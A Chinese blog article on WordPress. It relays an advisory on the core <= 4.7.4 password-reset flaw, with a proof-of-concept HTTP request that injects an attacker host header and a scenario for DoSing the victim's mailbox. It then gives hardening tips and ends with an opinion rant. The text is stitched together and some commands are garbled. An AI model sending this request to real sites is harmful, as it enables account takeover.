WordPress是一种使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把 WordPress当作一个内容管理系统(CMS)来使用。
WordPress是一款个人博客系统,并逐步演化成一款内容管理系统软件,它是使用PHP语言和MySQL数据库开发的。用户可以在支持 PHP 和 MySQL数据库的服务器上使用自己的博客。
WordPress有许多第三方开发的免费模板,安装方式简单易用。不过要做一个自己的模板,则需要你有一定的专业知识。比如你至少要懂的标准通用标记语言下的一个应用HTML代码、CSS、PHP等相关知识。
WordPress官方支持中文版,同时有爱好者开发的第三方中文语言包,如wopus中文语言包。WordPress拥有成千上万个各式插件和不计其数的主题模板样式。
WordPress作为欧美流行的博客建站系统,被广大中国用户使用的同时也惊现出一系列的安全问题,一下是最新曝出的安全漏洞。
一、漏洞
WordPress内核<= 4.7.4存在未经授权的密码重置(0day)
二、背景
WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统。截止2017年2月,Alexa排名前1000万的站点中约有27.5%使用该管理系统。据报道有超过6000万站点使用WordPress进行站点管理或者作为博客系统。
三、介绍
WordPress的重置密码功能存在漏洞,在某些情况下不需要使用之前的身份令牌验证获取密码重置链接。
该攻击可导致攻击者在未经授权的情况下获取用户Wordpress后台管理权限。
四、描述
该漏洞源于WordPress默认使用不可信的数据。当生成一个密码重置邮件时应当是仅发送给与帐户相关联的电子邮件。
从下面的代码片段可以看出,在调用PHP mail()函数前创建了一个From email头
- ------[ wp-includes/pluggable.php ]------
- ...
- if ( !isset( $from_email ) ) {
- // Get the site domain and get rid of www.
- $sitename = strtolower( $_SERVER['SERVER_NAME'] );
- if ( substr( $sitename, 0, 4 ) == 'www.' ) {
- $sitename = substr( $sitename, 4 );
- }
- $from_email = 'wordpress@' . $sitename;
- }
- ...
- -----------------------------------------
正如我们所看到的,Wordpress为了生成重置邮件创建的一个From/Return-Path(发件人/收件人)头,使用SERVER_NAME变量以获取服务器的主机名。
然而,诸如Apache的主流web服务器默认使用由客户端提供的主机名来设置SERVER_NAME变量(参考Apache文档)
由于SERVER_NAME可以进行修改,攻击者可以任意设置该值,例如attackers-mxserver.com
这将导致Wordpress的$from_email变为wordpress@attackers-mxserver.com,最终导致包含From/Return-Path(发件人/收件人)设置的密码重置邮件发送到了该恶意邮件地址。
至于攻击者可以修改哪那一封电子邮件的头信息,这取决于服务器环境(参考PHP文档)
基于邮件服务器的配置,可能导致被修改过邮件头的恶意收件人/发件人地址的电子邮件发送给WordPress用户。
这使得攻击者能够在不需要进行交互就可以截取本该是需要进行交互才能进行的操作的密码重置邮件。
攻击场景:
如果攻击者知道用户的电子邮件地址。为了让密码重置邮件被服务器拒收,或者无法到达目标地址。他们可以先对用户的电子邮件帐户进行DoS攻击(通过发送多个超过用户磁盘配额的大文件邮件或攻击该DNS服务器)
某些自动回复可能会附加有邮件发送副本
发送多封密码重置邮件给用户,迫使用户对这些没完没了的密码重置邮件进行回复,回复中就包含的密码链接会发送给攻击者。
五、POC
如果攻击者将类似下面的请求发送到默认可通过IP地址访问的Wordpress安装页面(IP-based vhost):
- -----[ HTTP Request ]----
- POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
- Host: injected-attackers-mxserver.com
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 56
- user_login=admin&redirect_to=&wp-submit=Get+New+Password
WordPress将触发管理员账户的密码重置功能
由于修改了主机头,SERVER_NAME变量将被设置为攻击者所选择的主机名,因此Wordpress会将以下电子邮件头信息和正文传递给/usr/bin/sendmail
- ------[ resulting e-mail ]-----
- Subject: [CompanyX WP] Password Reset
- Return-Path:
- From: WordPress
- Message-ID:
- X-Priority: 3
- MIME-Version: 1.0
- Content-Type: text/plain; charset=UTF-8
- Content-Transfer-Encoding: 8bit
有人请求将以下账户的密码进行重置:
http://companyX-wp/wp/wordpress/
Username: admin
如果是弄错了,直接忽略该邮件就好,重置密码请访问以下地址:
companyx-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin>
正如我们看到的,Return-Path, From, 以及Message-ID字段都是攻击者控制的域
通过bash脚本替换/usr/sbin/sendmail以执行头的验证:
#!/bin/bash
cat > /tmp/outgoing-email
六、业务影响
在利用成功的基础上,攻击者可重置用户密码并且未经授权获取WordPress账户访问权限。
七、系统影响
WordPress至最新版本4.7.4全部受影响
八、解决方案
目前没有官方解决方案可用。作为临时解决方案,用户可以启用UseCanonicalName执行SERVER_NAME静态值(参考Apache)
在这里小编来分享一下wordpress建站过程中,可以有效提高其安全性的方法:
以下是我所做的变更,用来提高我的 WordPress 网站安全性,纵使这样的意外可能再次发生。
#1 使用你的 Email 作为登入帐号
当你安装完一个 WordPress 网站时,预设的第一位用户为 “admin”。你应该建立不同的使用者名称来管理你的 WordPress 网站,并将预设使用者 “admin” 删除,或是将它的权限从「系统管理员」降级为「读者」。
你也可以建立一个完全乱数(难以被猜中)的使用者名称,然后使用你的 Email 来登入 WordPress。外挂 WP-Email Login 可以加入此支援,使用你的 Email 取代帐号登入。
#2 不要向全世界展示你的 WordPress 版本
WordPress 网站会在原始码显示版本号,让其他人能够知道你正在执行旧的 WordPress。
要从网页里移除 WordPress 版本是狠简单的一件事,但你需要做一些额外的补强,从你的 WordPress 目录将 readme.html 档案删除,因为它也会把你所使用的 WordPress 版本展示给全世界。
#3 别让其他人拥有”写入”你 WordPress 目录的权限
登入你的 WordPress 网站 Linux 系统列,执行以下指令来取得所有「公开」、其他用户皆能写入的目录清单。
find . -type d -perm -o=w
你也许可以执行以下两行指令,来将你 WordPress 内的档案和目录设定为正确的权限(参考资料)。
find /your/wordpress/folder/ -type d -exec chmod 755 {} /;
find /your/wordpress/folder/ -type f -exec chmod 644 {} /;
对目录来说,755(rwxr-xr-x) 意味著只有拥有者具备写入权限,其他人只有读取和执行的权限。对档案来说,644 (rw-r–r–) 意味著只有档案拥有者具备读取和写入权限,其他人为唯读。
#4 重新命名你的 WordPress 资料表前缀
如果你使用预设选项来安装 WordPress 的话,你的 WordPress 资料表应该会像是 wp_posts 或 wp_users。将资料表的前缀(wp_)更改为其他随机值是比较好的作法,外挂2Change DB Prefix2可以让你在弹指之间重新命名你的资料表前缀。
#5 防止使用者浏览你的 WordPress 目录结构
这狠重要。开启你 WordPress 根目录底下的 .htaccess 档案,然后在最上方加入这行。
Options -Indexes
这能够防止其他人在能建立档案清单时看到你资料夹内的所有档案。例如目录下缺少预设的 index.PHP 或 index.html 时。
#6 更新 WordPress 安全密钥
开启此网页来为你的 WordPress 网站產生八组安全密钥。开启 WordPress 目录下的 wp-config.php 档案,将预设的密钥以產生的密钥取而代之。
这些随机的字串能使你储存于 WordPress 的密码更加安全,另一个好处是,当有人在你不知情的情抗下登入 WordPress,他们将会被立即登出,使他们的 cookies 失效。
#7 保留 WordPress PHP 和资料库错误记录
从错误记录有时候可以发现针对你 WordPress 所发出的无效资料库查询或档案查询。我更喜欢外挂 Error Log Monitor,因为它能定期透过 Email 发送错误日志到你的信箱,也能显示于你的 WordPress 控制台。
要在 WordPress 启用错误日志功能,将以下程式码加入你的 wp-config.php 档案,记得要把2/path/to/error.log 替换为你的日志文件实际路径。error.log 应该放在无法直接从浏览器存取得到的目录。(参考资料)
- define('WP_DEBUG', true);
- if (WP_DEBUG) {
- define('WP_DEBUG_DISPLAY', false);
- @ini_set('log_errors', 'On');
- @ini_set('display_errors', 'Off');
- @ini_set('error_log', '/path/to/error.log');
- }
#8 以密码保护 Admin 控制台
使用密码来保护 wp-admin 目录是一个不错的方法,因为浏览你的公开 WordPress 网站并不需要用到这目录下的任何档案。一旦设定完成,即使是授权的用户也需要输入两道密码才能登入他们的 WordPress 控制台。
#9 追踪你的 WordPress 服务器登入动态
你可以在 linux 下使用 “last -i” 指令来列出所有登入你 WordPress 服务器的使用者,包括他们的 IP 位址。如果你发现清单内有未知的 IP 来源,那肯定要修改密码了。
此外,下面的指令将显示较长时间区间的登入动态,并使用 IP 位址分组(将 USERNAME 改为你的使用者名称)。
last -if /var/log/wtmp.1 | grep USERNAME | awk 1{print $3}1 | sort | uniq -c
使用外挂来监控你的 WordPress 网站
WordPress.org 外挂库包含不少好用的安全相关外挂,可以持续监控你的 WordPress 网站是否有被入侵,或是其他可疑活动。这些是我会建议使用,也较为基本的安全外挂。
Exploit Scanner – 它会迅速扫描你的所有 WordPress 档案和文章,并列出潜藏恶意程式码的。例如垃圾链结可能会使用 CSS 或 IFRAME 方式隐藏在你的 WordPress 网志文章里,而这个外挂可以将它们找出来。
WordFence Security – 这是一个非常强大、且应该使用的安全外挂。它会比对你 WordPress 的核心档案和原始档案间是否已被修改。而且,该外挂会锁定尝试登入你的网站却失败的使用者。
WordPress Sentinel – 另一个实用的外挂,可以监控你的 WordPress 档案,当有任何档案被加入、删除或修改时会发出警告。
WP Notifier – 如果你不常登入你的 WordPress 控制台,那这外挂适合你。它会在你安装的背景主题、外挂和 WordPress 核心有新的更新时以 Email 通知你。
VIP Scanner – “官方”安全外挂将扫描你的 WordPress 背景主题有无任何问题,它也能检测出有无任何的广告程式码被注入你的 WordPress 背景主题里。
小技巧:你也可以使用以下 Linux 指令来列出近三天被修改的档案清单。将 mtime 改为 mmin 可以看到 “n” 分鐘前被修改的档案清单。
find . -type f -mtime -3 | grep -v "/Maildir/" | grep -v "/logs/"
提高 WordPress 登入页面安全性
你的 WordPress 登入页面是每个人都可以存取的,但如果你想防止未授权的使用者登入 WordPress,你有以下三种选择。
使用 .htaccess 加入密碼保護 – 在 WordPress 認證以外加入另一道帳號密碼來保護你的 wp-admin 目錄。
Google Authenticator – 這出色的外掛能為你的 WordPress 加入兩步驟驗證功能。除了輸入正確的密碼外,還必須搭配手機應用程式來輸入隨機產生的驗證碼。
Login Dongle – 這個外掛使用一個非常獨特的方法來保護你的 WordPress。它能產生一個書籤列(加上秘密問題),你可以將它加入瀏覽器。當你要登入 WordPress 時,輸入你的密碼並按下書籤列才能登入 WordPress – 登入頁面的按鈕將無法使用。
WP的优劣
WordPress是一款风靡全球的博客网站程序,这点毋容置疑。大量的主题,大量的插件,大量的API,极高的可定制性。
对于60%菜鸟来说,下个主题马上网站就可以上线。就可以拿着网站到处炫耀,嘿!我TMD的有网站。 这是我的名片。就可以宣传推广了,是不是很方便。马上进入SEO环节(SEO 有事一个吹比行业,能吹3天3夜)
作为30%中级玩家,你可以研究研究怎么用各种主题和插件让网站更漂亮,功能更强大; 就是写写HTML CSS JQ。我称呼为 熟练运用各种JQ插件的人。呵呵,不是看不起,是因为JQ只适合PC端,虽然手机端也出JQM,但没继承JQ辉煌,JQ已经十年了,就跟WINXP一样,注定退场! (但是用户最直接看到也是表现层 所以各种打着WP赚钱的人 也都停留在这个层面,水平一般般还指望一笔模板生意暴富人都在淘宝开店)
作为10%高级玩家,你可以编写插件,制作主题;作为终级玩家,你可以使用WordPress做到任何你想要的网站。当然别说对于WP,任何PHP程序都可以改造成自己想要的网站。因为有技术懂一门后端语言,什么都不是问题。当然对于这部分人 肯定不会局限于WP。当然质量如何,每个人水平不一样,人品如何。同样无法保证,尤其在国内 傻子多,骗子也多。
有人说WP慢 确实慢,但也不慢,为什么?
这个的根本并不在于程序本身,而在于你的附加需求。自己爱折腾,爱铁血,安装N多插件,N多复杂的主题,造成数据量巨多,这能怪谁呢?而那些主题和插件的制作者,你无法让他们每一个人写出的主题或插件都是完美的,如果你希望变成这样,那只能你自己动手了。
那些访问量真正上百万上千万级别的网站,哪一个不是经过自己对网站做了大量优化的?
这里就引用别人的话(上面这段出处 芦XX的博客,搞SEO不醉看他博客)
所以SEO做的好不好,跟程序无关,你用静态页面也可以,单页面也可以,跟模板关系不大。为什么这个有过亲生案例。SEO如何做,怎么做。如果你还是停留在发帖,论坛,我们就不要探讨了。 你天天去李彦宏问 百度搜索如何做,李会搭理你吗? 不是闲你烦,是太累。
服务器方面
云是趋势,不要用云为什么,看到很多童鞋说用云就被关闭了如何如何。云计算这个东西,在国内发展也才这几年,实话我也经历过,国家都是给企业补贴,所以各大BAT都来搞云。拿着国家补贴做出来东西能好吗?赚了国家补贴一笔,又来赚你们一笔,真是呵呵。 再来给你们768 256内存,XXX大硬盘,结果来个1M带宽,到这里想想就笑了,任何网站多几个人打开,如果的模板特效各种插件图片比较多,由于各种蜘蛛在爬,那不直接就超过1M带宽峰值,被封是注定的!
用专业的话说 云服务器实际的网络吞吐量如何,这些决定直接影响你的应用性能!不管你用4vCPU和8GBRAM 还是16CPU 32GRAM都没什么卵用,因为你带宽峰值只有1M。你以为大企业省钱 选择安全可靠,往往大企业才是最坑人的。老话叫店大欺客。想省钱不如租用 口碑好国外主机 CDN到国内。或者是 国内主机+CDN。 那个国内外主机那家好,这里不介绍,坑踩的多了人才会成长。
再次引用别人的话
WordPress仍然是这个世界上首屈一指的独立博客网站程序,我并不是说其他博客程序不好,各有各的优点,有的博客程序更本地化,使用方式和语义等更适合中国用户等等。如何选择,见仁见智。但我希望的是,不要用片面的理念和单纯的说法来忽悠小白,不要因为你自己的原因而去让别人也跟着你那样认为。
新闻热点
疑难解答
图片精选